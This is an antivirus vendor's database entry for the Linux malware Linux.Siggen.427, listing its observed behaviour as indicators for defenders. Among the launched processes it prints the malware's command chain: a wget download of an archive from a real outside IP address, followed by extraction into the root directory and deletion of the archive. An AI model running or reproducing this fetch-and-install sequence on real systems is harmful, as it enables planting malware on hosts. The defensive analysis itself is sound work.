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Linux.Siggen.427

Added to the Dr.Web virus database: 2018-02-16

Virus description added:

Technical Information

Malicious functions:
Performs process tracing:
  • <SAMPLE>
  • <SAMPLE_FULL_PATH>
Launches processes:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • wget -q -N http://58.215.49.94/moma/patch_all.tgz -O ./patch_all.tgz
  • grep . -q patch_all.tgz
  • grep -q \.tgz$
  • tar -zxf ./patch_all.tgz -C /
  • gzip -d
  • rm -rf ./patch_all.tgz
Kills the following processes:
  • <SAMPLE>
  • <SAMPLE_FULL_PATH>
Performs operations with the file system:
Modifies file access rights:
  • /root/maintain
  • /usr/nfs/handlers/muser
  • /usr/www/handlers/muser
  • /usr/bin/jitter
  • /usr/nfs/inc/config.inc
  • /etc/auto-autofs/auto-autofs
  • /usr/nfs/handlers/mo
  • /usr/www/handlers/mo
  • /usr/nfs/handlers/mo2
  • /usr/www/handlers/mo2
  • /usr/nfs/handlers/ck
  • /usr/www/handlers/ck
  • /usr/nfs/handlers/sys_nfs
  • /home/www/index.php
  • /usr/nfs/index.php
  • /usr/nfs/handlers/videotodb.php
  • /usr/nfs/handlers/jstodb.php
  • /usr/nfs/modules/DISK_IMPORT/index.php
  • /usr/nfs/template/nfs/main_header.tpl.htm
  • /usr/nfs/template/nfs/kservice3a.js
  • /usr/nfs/template/nfs/style3a.css
  • /home/www/inc/kui3a.js
  • /home/www/inc/style3a.css
  • /home/www/kui.htm
Creates folders:
  • /usr/nfs
  • /usr/nfs/handlers
  • /usr/www
  • /usr/www/handlers
  • /usr/nfs/inc
  • /etc/auto-autofs
  • /home/www
  • /usr/nfs/modules
  • /usr/nfs/modules/DISK_IMPORT
  • /usr/nfs/template
  • /usr/nfs/template/nfs
  • /home/www/inc
Creates or modifies files:
  • /root/patch_all.tgz
  • /root/root/maintain
  • /root/maintain
  • /root/usr/nfs/handlers/muser
  • /usr/nfs/handlers/muser
  • /root/usr/www/handlers/muser
  • /usr/www/handlers/muser
  • /root/usr/bin/jitter
  • /usr/bin/jitter
  • /root/usr/nfs/inc/config.inc
  • /usr/nfs/inc/config.inc
  • /root/etc/auto-autofs/auto-autofs
  • /etc/auto-autofs/auto-autofs
  • /root/usr/nfs/handlers/mo
  • /usr/nfs/handlers/mo
  • /root/usr/www/handlers/mo
  • /usr/www/handlers/mo
  • /root/usr/nfs/handlers/mo2
  • /usr/nfs/handlers/mo2
  • /root/usr/www/handlers/mo2
  • /usr/www/handlers/mo2
  • /root/usr/nfs/handlers/ck
  • /usr/nfs/handlers/ck
  • /root/usr/www/handlers/ck
  • /usr/www/handlers/ck
  • /root/usr/nfs/handlers/sys_nfs
  • /usr/nfs/handlers/sys_nfs
  • /root/home/www/index.php
  • /home/www/index.php
  • /root/usr/nfs/index.php
  • /usr/nfs/index.php
  • /root/usr/nfs/handlers/videotodb.php
  • /usr/nfs/handlers/videotodb.php
  • /root/usr/nfs/handlers/jstodb.php
  • /usr/nfs/handlers/jstodb.php
  • /root/usr/nfs/modules/DISK_IMPORT/index.php
  • /usr/nfs/modules/DISK_IMPORT/index.php
  • /root/usr/nfs/template/nfs/main_header.tpl.htm
  • /usr/nfs/template/nfs/main_header.tpl.htm
  • /root/usr/nfs/template/nfs/kservice3a.js
  • /usr/nfs/template/nfs/kservice3a.js
  • /root/usr/nfs/template/nfs/style3a.css
  • /usr/nfs/template/nfs/style3a.css
  • /root/home/www/inc/kui3a.js
  • /home/www/inc/kui3a.js
  • /root/home/www/inc/style3a.css
  • /home/www/inc/style3a.css
  • /root/home/www/kui.htm
  • /home/www/kui.htm
Deletes files:
  • /root/patch_all.tgz"
Network activity:
HTTP GET requests:
  • 58.###.##.94/moma/patch_all.tgz
Other:
Collects RAM information

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